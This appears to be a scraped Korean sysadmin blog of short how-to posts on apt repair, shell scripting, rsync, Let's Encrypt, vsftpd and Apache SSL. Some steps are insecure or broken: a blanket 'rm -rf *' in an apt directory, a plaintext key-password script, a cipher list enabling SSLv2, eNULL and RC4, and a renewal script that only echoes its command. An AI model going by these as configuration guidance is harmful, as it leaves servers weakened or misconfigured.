----------------------------------------------------------------------------------------------------------------------------------------------------------------

2> 1번으로 해결이 안될경우


# cd /etc/apt

sed -i 's,http://.*ubuntu.com,http://old-releases.ubuntu.com,g' sources.list

apt-get update


----------------------------------------------------------------------------------------------------------------------------------------------------------------

3> 2번으로 해결이 안될경우


# cd /etc/apt

# vi /etc/apt/sources.list

/%s/kr.archieve.ubuntu.com/ftp.daum.net


----------------------------------------------------------------------------------------------------------------------------------------------------------------

4> 3번으로 해결이 안될경우


# dpkg --clear-avail

# dpkg --configure -a

# apt-get clean

# apt-get update


----------------------------------------------------------------------------------------------------------------------------------------------------------------

5> 4번으로 해결이 안될경우


# cd /etc/apt/sources.list.d/

# rm -rf *

# apt-get clean

# apt-get update

# apt list --upgradable

# apt-get update



참고 : https://ksy3241blog.wordpress.com/2016/06/17/sudo-apt-get-update-에러/

Posted by 실력키우기

[ 스크립트 공부 ] 


home=/home/les/script/       ->       변수설정


cd $home       ->       특수문자 $를 사용하여 변수사용


echo "hahaha" > ./test       ->       test파일에 hahaha라는 문자삽입(기존에 내용이 있으면 다지워지며 hahaha만 남게됨)


echo "hoho" >> ./test       ->       test파일에 hoho라는 글을 맨 아래에 삽입


---------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------


case 문 사용법



read       ->     해당 명령어로 입력받을 수 있다.


read Java_S       ->     Java_S 라는 변수에 입력받은 값 저장


case "$Java_S" in       ->       Java_S 라는 변수의 입력값에 따라서 아래 case 1~2번 실행됨


1)

cd $SOURCE_DIR

$wget $SOURCE_ADDR/$java1.tar.gz

tar zxvf $java1.tar.gz

mv $java1 /usr/local/java

cp -arp /etc/profile /etc/profile_smileservbackup

여기에 환경변수설정

source /etc/profile

;;


2)

cd $SOURCE_DIR

$wget $SOURCE_ADDR/$java2.tar.gz

tar zxvf $java2.tar.gz

mv $java2 /usr/local/java

cp -arp /etc/profile /etc/profile_smileservbackup

여기에 환경변수설정

source /etc/profile

;;


*)

echo -e -n "잘못 입력 했습니다."

exit

;;

esac

'Linux Server > Script' 카테고리의 다른 글

[Script] openssl 버전 업그레이드 스크립트 작성  (0) 2021.07.07
[Script] java_tomcat 설치 및 apm 연동  (0) 2018.02.26
[Script] mysql 덤프  (0) 2018.02.26
[Script] 홈소스 백업  (0) 2018.02.26
[개발공부] php 개발  (0) 2016.12.14
Posted by 실력키우기

[ wordpress 설치도중 500에러 ]


wordpress 를 다운로드 후 웹에서 접근할 경우 500에러가 발생되는 경우가 있다.


php.ini 에서 memory_limit = 32M 를 올려준다.


수정전 memory_limit = 32M


수정후 memory_limit = 64M



Posted by 실력키우기

[ rsync 설치 ]


# rpm -qa |grep rsync    -->    해당 패키지 설치되어있는지 확인 , 없을경우 설치


# yum install -y rsync


# rpm -qa |grep xinetd   -->    해당 패키지 설치되어있는지 확인 , 없을경우 설치


# yum install -y xinetd




# vi /etc/rsyncd.conf      -->     해당 파일이 없을 가능성이 크다. 해당 파일이 없을경우 vi 로 만들고 아래 내용 추가


[rsync_test]                  -->     사용할 rsync 서비스 이름

path=/data/rsync_test/        -->     데이터 원본 경로

comment = rsync_test        -->     코멘트

uid = root                    -->    권한 사용자

gid = root                    -->    권한 그룹

use chroot = yes

read only = yes

#hosts allow = 115.68.220.220    --> rsync 클라이언트 IP. localhost일 경우 입력하지 않아도 됨

max connections = 3

timeout=600



# vi /etc/xinetd.d/rsync 


service rsync

{

    disable = yes    -->    no로 변경

    flags       = IPv6

    socket_type     = stream

    wait            = no

    user            = root

    server          = /usr/bin/rsync

    server_args     = --daemon

    log_on_failure  += USERID


# /etc/init.d/xinetd restart




[ rsync 사용법 ]


[ 현재 접속한서버에서 다른서버로 파일을 보낼 경우 ]


rsync -avzPog /usr/local/src/test les@115.68.220.220:/home/les/    ->    해당서버의 test파일을 220.220번 서버의 /home/les/ 에 복사


rsync -avzPog -e 'ssh -p1990' java les@115.68.220.220:/home/les/     ->    위에 내용과 같지만, 다른점은 원격포트가 22번이 아닌 1990일때 옵션값 추가



[ 현재 접속한서버에서 다른서버의 파일을 가져올 경우 ]

rsync -avzPog les@115.68.220.220:/home/les/test /usr/local/src/    ->    220.220서버의 /home/les/test 파일을 현재 서버의 /usr/local/src/ 경로에 복사


rsync -avzPog -e 'ssh -p1990' les@115.68.220.220:/home/les/test /usr/local/src/    ->    위에 내용과 같지만,다른점은  원격포트가 1990일때 옵션값 추가





'Linux Server > etc' 카테고리의 다른 글

[ 기타 ] 해킹점검  (0) 2018.03.02
[기타] Iptables 설치 및 설정  (1) 2018.02.26
[기타] 리눅스 시간 동기화  (0) 2017.03.09
[기타] tcpdump 사용방법  (0) 2017.01.25
[기타] 바이오스설정  (0) 2017.01.08
Posted by 실력키우기

[ letsencrypt 설치 및 설정 ]


# git clone https://github.com/letsencrypt/letsencrypt


# cd letsencrypt


# ./letsencrypt-auto --help     ->  다운받은 폴더로 이동 후 아래 명령을 실행하면 자동으로 관련 의존성을 다운받아서 설치 된다.


# ./letsencrypt-auto certonly -a webroot --agree-tos -m <이메일> -w <webrootpath> -d <SSL발급도메인명> --rsa-key-size 4096

ex) ./letsencrypt-auto certonly -a webroot --agree-tos -m les4707@naver.com -w /home/web/ -d leeeunseok.xyz --rsa-key-size 4096



주의) 발급을 원하는 도메인은 반드시 웹접속이 가능한 상태어어야 한다. ( 웹서버, DNS , 방화벽 확인 필요)
 (주) 최초 발급 시도시 아래의 메세지가 표시되며, 이후 물어보지 않는다.
 EFF의 Let’s Encrypt 관련 소식을 이메일로 받고 싶다면 “y”를 원하지 않는 다면, “n” 입력 한다.
-------------------------------------------------------------------------------
Would you be willing to share your email address with the Electronic Frontier
Foundation, a founding partner of the Let's Encrypt project and the non-profit
organization that develops Certbot? We'd like to send you email about EFF and
our work to encrypt the web, protect its users and defend digital rights.
-------------------------------------------------------------------------------
(Y)es/(N)o: n



기본 포트를 SSL으로 이용하는 경우


vi /usr/local/apache/conf/extra/httpd-ssl.conf


<VirtualHost *:443>


DocumentRoot 웹루트경로

ServerName 도메인명:443

SSLEngine on 

SSLCertificateFile /etc/letsencrypt/live/도메인명/cert.pem

SSLCertificateKeyFile /etc/letsencrypt/live/도메인명 /privkey.pem

SSLCertificateChainFile /etc/letsencrypt/live/도메인명/fullchain.pem  


<VirtualHost>


이후 아파치 재시작


[root@techsmile-6580 letsencrypt]# /etc/init.d/apachectl stop

AH00526: Syntax error on line 51 of /usr/local/apache/conf/extra/httpd-ssl.conf:

Invalid command 'SSLCipherSuite', perhaps misspelled or defined by a module not included in the server configuration


아파치 재시작시 위와 같이 에러발생할경우 아래파일을 열고 주석해제

vi /usr/local/apache/conf/httpd.conf

LoadModule ssl_module modules/mod_ssl.so -> 해당부분 주석해제



[root@techsmile-6580 letsencrypt]# /etc/init.d/apachectl stop

AH00526: Syntax error on line 76 of /usr/local/apache/conf/extra/httpd-ssl.conf:

SSLSessionCache: 'shmcb' session cache not supported (known names: ). Maybe you need to load the appropriate socache module (mod_socache_shmcb?).


아파치 재시작시 위와 같이 에러발생할경우 아래파일을 열고 주석해제

vi /usr/local/apache/conf/httpd.conf

LoadModule socache_shmcb_module modules/mod_socache_shmcb.so     -> 해당부분 주석해제





letsencrypt는 3달에 한번씩 갱신해줘야하며, 아래 내용은 도메인 갱신하는 명령어입니다.


/letsencrypt-auto certonly -a webroot --agree-tos --renew-by-default -w <webrootpath> -d <ssl갱신도메인명> --rsa-key-size 4096



vi letscron.sh    ->    스크립트 만들고 크론탭에 약2달에한번 실행되도록 등록할것

#!bin/sh

echo /letsencrypt-auto certonly -a webroot --agree-tos --renew-by-default -w /home/web/ -d leeeunseok.xyz --rsa-key-size 4096

'Linux Server > apache' 카테고리의 다른 글

[apache] http_error_code  (0) 2018.02.26
[apache] ip 접속 제어  (0) 2018.02.09
[apache] ssl 키 발급 및 적용  (0) 2017.06.03
[php 언어셋 문제]  (0) 2017.05.09
[apache] cband 모듈설치  (0) 2017.04.27
Posted by 실력키우기

[ vsftpd 설치]


# yum install -y vsftpd    ->    설치


# vi /etc/sysconfig/iptables  -> 20, 50001:50005 포트등록


# vi /etc/vsftpd/vsftpd.conf    ->    해당파일 열어서 전부 지우고 아래내용 삽입


anonymous_enable=NO

local_enable=YES

write_enable=YES

local_umask=022

dirmessage_enable=YES

xferlog_enable=YES

connect_from_port_20=YES

xferlog_file=/var/log/xferlog

xferlog_std_format=YES

chroot_local_user=YES

listen=YES

pam_service_name=vsftpd

userlist_enable=YES

tcp_wrappers=YES


pasv_enable=yes

pasv_min_port=50001

pasv_max_port=50005



# /etc/init.d/vsftpd restart    ->    ftp 재시작

'Linux Server > Server 구축' 카테고리의 다른 글

[기타] 우분투 repository 구축  (0) 2018.08.26
[기타] mediawiki 설치 방법  (0) 2018.08.26
[기타] phpmyadmin yum으로 설치  (0) 2017.01.31
[기타] tomcat 설치 및 연동  (0) 2016.11.27
[기타] java 설치방법  (0) 2016.11.27
Posted by 실력키우기

[ putty 접속시 한글깨짐현상 ]


putty 실행 -> Translation -> CP949


없을경우 use front encofing 선택후 접속

Posted by 실력키우기

[ openssl 키발급

# openssl genrsa -des3 -out leeeunseok.xyz.key 2048

# openssl req -new -key leeeunseok.xyz.key -out leeeunseok.xyz.csr


Country Name ( 국가코드) [] : KR
State or Province Name ( 지역 ) [] : Seoul
Locality Name ( 시/군/구 ) [] : Seocho
Organization Name ( 회사명 ) [] : Hanbiro Inc
Organizational Unit Name ( 부서명 ) [] : Linux Team
Common Name ( 서비스도메인명 ) [] : www.hanbiro.com
Email Address [] : hanbiro@hanbiro.com




[ ssl 적용 


apache 2.4버전 



Listen 443


##

##  SSL Global Context

##

##  All SSL configuration in this context applies both to

##  the main server and all SSL-enabled virtual hosts.

##


#   SSL Cipher Suite:

#   List the ciphers that the client is permitted to negotiate.

#   See the mod_ssl documentation for a complete list.

SSLCipherSuite HIGH:MEDIUM:!aNULL:!MD5


#   Speed-optimized SSL Cipher configuration:

#   If speed is your main concern (on busy HTTPS servers e.g.),

#   you might want to force clients to specific, performance

#   optimized ciphers. In this case, prepend those ciphers

#   to the SSLCipherSuite list, and enable SSLHonorCipherOrder.

#   Caveat: by giving precedence to RC4-SHA and AES128-SHA

#   (as in the example below), most connections will no longer

#   have perfect forward secrecy - if the server's key is

#   compromised, captures of past or future traffic must be

#   considered compromised, too.

#SSLCipherSuite RC4-SHA:AES128-SHA:HIGH:MEDIUM:!aNULL:!MD5

#SSLHonorCipherOrder on 


#   Pass Phrase Dialog:

#   Configure the pass phrase gathering process.

#   The filtering dialog program (`builtin' is an internal

#   terminal dialog) has to provide the pass phrase on stdout.

#SSLPassPhraseDialog  builtin

SSLPassPhraseDialog exec:/usr/local/apache/conf/ssl_pass.sh


#   Inter-Process Session Cache:

#   Configure the SSL Session Cache: First the mechanism 

#   to use and second the expiring timeout (in seconds).

#SSLSessionCache         "dbm:/usr/local/apache/logs/ssl_scache"

SSLSessionCache        "shmcb:/usr/local/apache/logs/ssl_scache(512000)"

SSLSessionCacheTimeout  300


##

## SSL Virtual Host Context


<VirtualHost _default_:443>


#   General setup for the virtual host



ServerAdmin joyjts@naver.com

DocumentRoot /home/les/public_html

ServerName leeeunseok.com:443

ErrorLog "/usr/local/apache/logs/leeeunseok.com_SSL_error_log"

TransferLog "/usr/local/apache/logs/leeeunseok.com_SSL_access_log"


#   SSL Engine Switch:

#   Enable/Disable SSL for this virtual host.

SSLEngine on


SSLCertificateFile "/usr/local/apache/conf/SSL_2017/leeeunseok.com_cert.pem"

SSLCertificateKeyFile "/usr/local/apache/conf/SSL_2017/leeeunseok.com.key"

SSLCertificateChainFile "/usr/local/apache/conf/SSL_2017/leeeunseok.com_ChainCA.crt"



위처럼 키값 및 패스워드 자동 적용되도록 설정 후 /usr/local/apache/conf/ssl_pass.sh로 스크립트 생성

vi ssl_pass.sh

#!/bin/sh 
echo "password"


----------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------



Listen 443


AddType application/x-x509-ca-cert .crt

AddType application/x-pkcs7-crl    .crl


SSLPassPhraseDialog  builtin

SSLSessionCache        "shmcb:/usr/local/apache/logs/ssl_scache(512000)"

SSLSessionCacheTimeout  300

#SSLMutex  "file:/usr/local/apache/logs/ssl_mutex"


<VirtualHost int.empel.co.kr:443>

DocumentRoot "/home/les/public_html"

ServerName int.les.co.kr:443

ServerAlias int.les.co.kr

ErrorLog "/usr/local/apache/logs/error_log"

TransferLog "/usr/local/apache/logs/access_log"

SSLEngine on

SSLCipherSuite ALL:!ADH:!EXPORT56:RC4+RSA:+HIGH:+MEDIUM:+LOW:+SSLv2:+EXP:+eNULL

SSLCertificateFile "/usr/local/apache/conf/extra/SSL/empel/int.les.co.kr.crt"

SSLCertificateKeyFile "/usr/local/apache/conf/extra/SSL/empel/int.les.co.kr.key"

SSLCertificateChainFile "/usr/local/apache/conf/extra/SSL/empel/int.les.co.kr.Chain.crt"

<FilesMatch "\.(cgi|shtml|phtml|php)$">

    SSLOptions +StdEnvVars

</FilesMatch>

<Directory "/usr/local/apache/cgi-bin">

    SSLOptions +StdEnvVars

</Directory>

BrowserMatch ".*MSIE.*" \

         nokeepalive ssl-unclean-shutdown \

         downgrade-1.0 force-response-1.0

CustomLog "/usr/local/apache/logs/ssl_request_log" \

          "%t %h %{SSL_PROTOCOL}x %{SSL_CIPHER}x \"%r\" %b"

</VirtualHost>


'Linux Server > apache' 카테고리의 다른 글

[apache] ip 접속 제어  (0) 2018.02.09
[apache] letsencrypt 설치 및 설정  (2) 2017.08.03
[php 언어셋 문제]  (0) 2017.05.09
[apache] cband 모듈설치  (0) 2017.04.27
[apache] rewrite 모듈을 이용한 http -> https 포워딩  (0) 2017.04.26
Posted by 실력키우기
이전버튼 1 2 3 이전버튼

블로그 이미지
공 부 하 는 직 장 인
실력키우기

태그목록

공지사항

Yesterday
Today
Total

최근에 달린 댓글